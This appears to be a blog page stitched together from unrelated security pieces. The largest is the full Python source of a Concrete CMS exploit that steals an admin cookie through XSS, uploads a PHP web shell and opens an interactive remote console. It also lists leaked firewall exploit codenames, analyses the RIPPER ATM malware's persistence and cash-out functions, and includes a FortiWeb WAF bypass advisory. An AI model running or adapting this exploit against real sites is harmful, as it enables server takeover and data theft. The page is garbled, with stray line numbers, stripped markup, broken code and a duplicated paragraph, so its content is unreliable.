Sunday, May 21, 2017

EGREGIOUSBLUNDER. It is a remote code execution exploit for Fortigate firewalls. It leverages an HTTP cookie overflow and is different from CVE-2006-6493 as noted by Avast. Models affected include 60, 60M, 80C, 200A, 300A, 400A, 500A, 620B, 800, 5000, 1000A, 3600, and 3600A.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
#!/usr/bin/python
# Concrete CMS v5.4.1.1 xss/remote code execution exploit
# Special Zeitgeist pre release - "Moving Forward" - 15th Jan 2011
# "They must find it difficult, those who take authority as the truth instead of truth as the authority"
# PoC usage:
# [mr_me@pluto concrete5]$ python ./1.py -t 192.168.1.15 -d /webapps/concrete5/ -p 8081 -s suntzu -i wlan0
#
#   | --------------------------------------------------- |
#   | Concrete CMS v5.4.1.1 Remote Code Execution Exploit |
#   | by mr_me - net-ninja.net -------------------------- |
#
# (+) Created XSS in index.html, send the XSS to the admin
# (+) Listening on port 8081 for our target
# (+) Recieved a connection from 192.168.1.2
# (+) Got the cookie tqarj8poclha1oso9e9haa9f66, checking if we have admin access..
# (+) Admin access is confirmed
# (+) Determining the upload nounce
# (+) Got the file upload nounce, uploading 'suntzu' shell..
# (+) Shell uploaded! Now looking for it
# (+) Entering interactive remote console (q for quit)
#
# mr_me@192.168.1.15# id    
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
#
# mr_me@192.168.1.15# uname -a
# Linux steve-ubuntu 2.6.32-27-generic #49-Ubuntu SMP Wed Dec 1 23:52:12 UTC 2010 i686 GNU/Linux
#
# mr_me@192.168.1.15# q
 
import socket, sys, urllib2, re, struct, fcntl, getpass, base64
from optparse import OptionParser
 
usage = "./%prog -t [target] -d [path] -p [port] -s [shell name] -i [interface]"
usage += "\nExample: ./%prog -t 192.168.1.17 -d /webapps/concrete5/ -p 8080 -s suntzu -i wlan0"
 
parser = OptionParser(usage=usage)
parser.add_option("-t", type="string", action="store", dest="target",
                  help="Target server as IP or host")
parser.add_option("-d", type="string", action="store", dest="path",
                  help="Directory path of Concrete CMS of your target")
parser.add_option("-p", type="string",action="store", dest="port",
                  help="Server port to listen on")
parser.add_option("-s", type="string", action="store", dest="shellName",
                  help="shell name to write on the target server")
parser.add_option("-i", type="string", action="store", dest="ifce",
                  help="External network interface, must be routable.")
 
(options, args) = parser.parse_args()
 
def banner():
    print "\n\t| --------------------------------------------------- |"
    print "\t| Concrete CMS v5.4.1.1 Remote Code Execution Exploit |"
    print "\t| by mr_me - net-ninja.net -------------------------- |\n"
 
if len(sys.argv) < 10:
        banner()
        parser.print_help()                                                                   
        sys.exit(1)
 
# set the php code injection (just an example here)
phpShell = ""
myCmd = "?cmd="
 
def get_ip_address(ifname):
        ls = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        return socket.inet_ntoa(fcntl.ioctl(ls.fileno(), 0x8915, struct.pack('256s', ifname[:15]))[20:24])
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("", int(options.port)))
s.listen(1)
 
def sendPostRequest(req):
        su = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # change the port to another, if they are running the CMS off another port (443?)
        try:
                su.connect((options.target,80))
        except:
                print "(-) Failed making the connection to target %s" % options.target
        su.send(req)
        data = su.recv(1024)
        su.close()
        return data
 
def generateShellUpload(cookie, ccm_token):
        postRequest = ("POST %sindex.php/tools/required/files/importers/single HTTP/1.1\r\n"
        "Host: %s\r\n"
        "Cookie: CONCRETE5=%s;\r\n"
        "Content-Type: multipart/form-data; boundary=---------------------------lulz\r\n"
        "Content-Length: 313\r\n\n"
        "-----------------------------lulz\n"
        "Content-Disposition: form-data; name=\"Filedata\"; filename=\"%s.php.xla\"\r\n\n"
        "%s\n"
        "-----------------------------lulz\n"
        "Content-Disposition: form-data; name=\"ccm_token\"\r\n\n"
        "%s\n"
        "-----------------------------lulz--\r\n\r\n" % (options.path, options.target, cookie, options.shellName, phpShell, ccm_token))
 
        return postRequest
 
def xssTheAdmin():
        print "(+) Created XSS in index.html, send the XSS to the admin"
        print "(+) Listening on port %s for our target" % (options.port)
        xssJunk = (""
        "
http://%s%sindex.php/dashboard/scrapbook/addScrapbook/
\">"
        ""
        "
"
        "
" % (options.target, options.path, get_ip_address(options.ifce),options.port))
        try:
                xssFile = open('index.html','w')
                xssFile.write(xssJunk)
                xssFile.close()
        except:
                print "(-) Error writing file.."
                sys.exit(1)
 
def sendPayloads(uri, magicCookie):
        try:
                req = urllib2.Request(uri)
                req.add_header('Cookie', 'CONCRETE5='+magicCookie)
                check = urllib2.urlopen(req).read()
        except urllib.error.HTTPError, error:
                check = error.read()
        except urllib.error.URLError:
                print "(-) Target connection failed, check your address"
                sys.exit(1)
        return check
 
def interactiveAttack(ws):
        print "(+) Entering interactive remote console (q for quit)\n"
        hn = "%s@%s# " % (getpass.getuser(), options.target)
        cmd = ""
        while cmd != 'q':
                cmd = raw_input(hn)
        cmd64 = base64.b64encode(cmd)
                cmdResponse = sendPayloads(ws+myCmd+cmd64,"lolnoauth")
                print cmdResponse
 
def startShellAttack():
        conn, addr = s.accept()
        print "(+) Recieved a connection from %s" % addr[0]
        while 1:
        data = conn.recv(1024)
        cookie = re.search('CONCRETE5=(.*)', data)
        cookie = cookie.group(1)[:26]
        target = data.split("Referer: ")[1].rstrip()
        confirmTarget = "http://"+options.target+options.path+"index.php/dashboard/scrapbook/".rstrip()
        target = target[:len(confirmTarget)]
        if target == confirmTarget:
            print "(+) Confirmed target @ %s" % (target)
        else:
            print "(-) Error, mismatch of targets."
            sys.exit(1)
        print "(+) Got the cookie %s, checking if we have admin access.." % (cookie)
        adminCheck = sendPayloads(target, cookie)
        if re.search('delete this scrapbook', adminCheck):
            print "(+) Admin access is confirmed"
        else:
            print "(-) This is not an admin cookie. Exiting.."
            sys.exit(1)
        print "(+) Determining the upload nounce"
        nounceRequest = "http://"+options.target+options.path+"index.php/dashboard/files/search/"
        nounceResponse = sendPayloads(nounceRequest, cookie)
        ccm_token = nounceResponse.split(")[1].split("\" />")[0]
        print ("(+) Got the file upload nounce, uploading '%s' shell.." % (options.shellName))
        uploadReq = generateShellUpload(cookie, ccm_token)
        findShell = sendPostRequest(uploadReq)
        print "(+) Shell uploaded! Now looking for it"
        magicNum = re.search('(?<=push\()\w+', findShell)
        % (options.target, options.path, magicNum.group(0)))
        shellSearch = sendPayloads(shellSearchReq, cookie)
        shellLoc = shellSearch.split("URL to File")[1].split("
")[0].split("=\"2\">")[1]
        print ("(!) Shell found at %s" % (shellLoc))
        break
        conn.close()
        return shellLoc
 
if __name__ == "__main__":
        banner()
        xssTheAdmin()
        webShell = startShellAttack()
        interactiveAttack(webShell)

SHADOW BROTHERS HIDDEN CARDS

EGREGIOUSBLUNDER. It is a remote code execution exploit for Fortigate firewalls. It leverages an HTTP cookie overflow and is different from CVE-2006-6493 as noted by Avast. Models affected include 60, 60M, 80C, 200A, 300A, 400A, 500A, 620B, 800, 5000, 1000A, 3600, and 3600A.

ELIGIBLEBACHELOR This is an exploit with an unclear attack vector for TOPSEC firewalls running TOS operating system versions 3.2.100.010, 3.3.001.050, 3.3.002.021 and 3.3.002.030.The attack vector is unknown but it has an XML-like payload that starts with .

ELIGIBLEBOMBSHELL It is a remote code execution exploit for TOPSEC firewalls. It exploits an HTTP cookie command injection vulnerability and uses ETag examination for version detection. Versions affected include 3.2.100.010.1_pbc_17_iv_3 to 3.3.005.066.1. 

WOBBLYLLAMAA payload for the ELIGIBLEBOMBSHELL TOPSEC firewall exploit affecting version 3.3.002.030.8_003.

FLOCKFORWARDA payload for the ELIGIBLEBOMBSHELL TOPSEC firewall exploit affecting version 3.3.005.066.1.

HIDDENTEMPLEA payload for the ELIGIBLEBOMBSHELL TOPSEC firewall exploit affecting version tos_3.2.8840.1.

CONTAINMENTGRIDA payload for the ELIGIBLEBOMBSHELL TOPSEC firewall exploit affecting version tos_3.3.005.066.1.

GOTHAMKNIGHTA payload for the ELIGIBLEBOMBSHELL TOPSEC firewall exploit affecting version 3.2.100.010.8_pbc_27. Has no BLATSTING support.

ELIGIBLECANDIDATEA remote code execution exploit for TOPSEC firewalls that exploits a HTTP cookie command injection vulnerability, affecting versions 3.3.005.057.1 to 3.3.010.024.1.

ELIGIBLECONTESTANTA remote code execution exploit for TOPSEC firewalls that exploits a HTTP POST paramter injection vulnerability, affecting versions 3.3.005.057.1 to 3.3.010.024.1. This exploit can be tried after ELIGIBLECANDIDATE.

EPICBANANAA privilege escalation exploit against Cisco Adaptive Security Appliance (ASA) and Cisco Private Internet eXchange (PIX) devices. Exploitation takes advantage of default Cisco credentials (password: cisco). Affects ASA versions 711, 712, 721, 722, 723, 724, 80432, 804, 805, 822, 823, 824, 825, 831, 832 and PIX versions 711, 712, 721, 722, 723, 724, 804.

ESCALATEPLOWMANA privilege escalation exploit against WatchGuard firewalls of unknown versions that injects code via the ifconfig command.

EXTRABACONA remote code execution exploit against Cisco Adaptive Security Appliance (ASA) devices affecting ASA versions 802, 803, 804, 805, 821, 822, 823, 824, 825, 831, 832, 841, 842, 843, 844. It exploits an overflow vulnerability using the Simple Network Management Protocol (SNMP) and relies on knowing the target's uptime and software version.

BOOKISHMUTEAn exploit against an unknown firewall using Red Hat 6.0.

FALSEMORELAllows for the deduction of the "enable" password from data freely offered by an unspecified firewall (likely Cisco) and obtains privileged level access using only the hash of the "enable" password. Requires telnet to be installed on the firewall's inside interface.

ATM'S HACKING

FireEye Labs dissects this new ATM malware that we have dubbed RIPPER (due to the project name “ATMRIPPER” identified in the sample) and documents indicators that strongly suggest this piece of malware is the one used to steal from the ATMs at banks in Thailand.

Connection to previous ATM Malware

  • Targets the same ATM brand.
  • The technique used to expel currency follows the same strategy (already documented) performed by the Padpin (Tyupkin), SUCEFUL and GreenDispenser.
  • Similar to SUCEFUL, it is able to control the Card Reader device to Read or Eject the card on demand.
  • Can disable the local network interface, similar to capabilities of the Padpin family.
  • Uses the “sdelete” secure deletion tool, similar to GreenDispenser, to remove forensic evidence.
  • Enforces a limit of 40 bank notes per withdrawal consistently, which is the maximum allowed by the ATM vendor.

New features, capabilities, or behaviors in RIPPER

  • It targets three of the main ATM Vendors worldwide, which is a first.
  • RIPPER interacts with the ATM by inserting a specially manufactured ATM card with an EMV chip that serves as the authentication mechanism. Although this technique was already used by the Skimmer family, it is an uncommon mechanism.

Similarities between RIPPER and the recent ATM theft in Thailand

RIPPER analysis

MD5: 15632224b7e5ca0ccb0a042daf2adc13
RIPPER Persistence:
RIPPER can maintain persistence using two modes: either as standalone service or masquerading as a legitimate ATM process.
RIPPER is installed as a service if called with the following arguments:
service install
Before creating the service, it will kill the process “dbackup.exe”, which is specific to one common ATM vendor:
cmd /c taskkill /IM dbackup.exe /T /F
Then it will replace the original dbackup.exe binary under c:\Windows\system32\ (if present) with itself.
Finally it will install a persistent service with following attributes:
RIPPER can delete the “DBackup Service” service if run with the following arguments:
service remove
RIPPER can stop or start the “DBackup Service” with the following arguments:
service start” or “service stop”
RIPPER also supports the following command line switches:
/autorun: Will Sleep for 10 minutes and then run in the background, waiting for interaction.
/install: RIPPER will replace the ATM software running on the ATM as follows:
Upon execution, RIPPER will kill the processes running in memory for the three targeted ATM Vendors via the native Windows “taskkill” tool.
RIPPER will examine the contents of directories associated with the targeted ATM vendors and will replace legitimate executables with itself. This technique allows the malware to maintain the legitimate program name to avoid suspicion.
RIPPER will maintain persistence by adding itself to the \Run\FwLoadPm registry key (that might already exist as part of the vendor installation), passing the “/autorun” parameter that is understood by the malware, as seen in Figure 1.
Figure 1: Registry key added for persistency
/uninstall: RIPPER removes the registry keys created

Running without parameters

If RIPPER is executed without any parameters, it will perform the following actions:
1.     It will connect with the Cash Dispenser, Card Reader and the Pinpad. Since every ATM brand has its own unique devices names, RIPPER will identify the current devices installed by enumerating them under the following registry key:
HKEY_USERS\.DEFAULT\XFS\LOGICAL_SERVICES\
2.     RIPPER will make sure the devices are available by querying their status (Figure 2), and if not available, will exit.
Figure 2: Querying the devices status via WFSGetInfo() API
3.     For the Dispenser it will obtain information such as the Cash Unit details to determine the number and type of available notes.
4.     Finally it starts two threads; the first of which will monitor the status of the ATM devices to make sure they are available and will read all the keystrokes received from the Pinpad device waiting to interact with the thieves (see step 7), as seen in Figure 3.
Figure 3: Monitoring Pinpad keystrokes
5.     The second thread monitors the Card Reader, and once a card is inserted it validates the EMV chip for authentication to the ATM Malware.
6.     Once a valid card with a malicious EMV chip is detected, RIPPER will instantiate a timer to allow a thief to control the machine. Figure 4 depicts the timer function.
Figure 4: Monitoring the Card Reader
7.     Once the thieves start interacting with RIPPER, they enter instructions via the Pinpad and multiple options are displayed, including methods for dispensing currency. Figure 5 depicts some of the options available to the thieves.
a.     CLEAN LOGS: Will clear the log stored at: C:\WINDOWS\temp\clnup.dat
b.     HIDE: Will hide the Malware GUI by calling ShowWindow() API.
c.     NETWORK DISABLE: Will shut down the ATM local network interface to prevent it from communicating with the bank. It can re-enable the connection if needed.
Figure 5: Main Menu
d.     REBOOT: Will call ExitWindowsEX() API without sending WM_QUERYENDSESSION message to avoid prompts for confirmation, causing the system to reboot. 
e.     BACK: Ejects the malicious ATM card back to the thieves by calling the WFSExecute() with the command: WFS_CMD_IDC_EJECT_CARD. This option, depicted in Figure 6, was observed being used by the SUCEFUL family.
Figure 6: Asking Card Reader to eject the chip card

Conclusion

Through open sources, we’ve identified a family of malware that may have been used in recent ATM robberies and which bears some similarities to known families of malware. This malware family can be used to compromise multiple vendor platforms and leverages uncommon technology to access physical devices. In addition to requiring technical sophistication, attacks such as that affecting the ATMs in Thailand require coordination of both the virtual and the physical. This speaks to the formidable nature of the thieves.
BINAR10 Report on Fortinet Fortiweb Findings 02/05/2012
- Fortinet FortiWeb Web Application Firewall Policy Bypass -
============================================================

1) Affected Product

Fabricant: Fortinet

Product name: FortiWeb

Version: Latest update to Tue, 2 May 2012

Type: Web Application Firewall

Product URL:
http://www.fortinet.com/products/fortiweb/index.html

2) Description of the Findings

BINAR10 has found a policy bypass occurrence when large size data is sent in
POST (data) or GET request.

3) Technical Details

3.1. POST Request Example

When is appended to a POST request any padding data that surpasses 2399 bytes,
the WAF do not inspect the data sent and the request hits directly the
application. This should occur when the product is not configured to block
malformed requests, but this feature also check the POST size limit, blocking
the request if it surpass a fixed limit, therefore is likely that is being
disabled due to application requirements in medium size forms.
The response is also not verified by the WAF and information disclosure occurs
with details of the infrastructure.
This bypass could be used to inject different types of vectors, as is shown in
the example only is needed to append a new variable at the end of the POST
data filled with arbitrary data that exceeds 2399 bytes.

---POST example
POST //login-app.aspx HTTP/1.1
Host: 
User-Agent: 
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 

var1=datavar1&var2=datavar12&pad=

3.2. GET Requests

The same issue with POST Request but it could be done through the sending
arbitrary data at the end of the URL.

--GET example
http:///path?var1=vardata1&var2=vardata2&pad=

4. Validation Required
It requires the validation of other researchers who have access to product.

5. Time Table
04/27/2012 - Vendor notified.
04/27/2012 - Vendor response, requiring some tests.
05/02/2012 - Vendor indicates that this is a configuration problem and not
a product vulnerability.

6. Credits
Geffrey Velasquez  at BINAR10 S.A.C.

https://dl.packetstormsecurity.net/1205-exploits/fortiweb-bypass.txt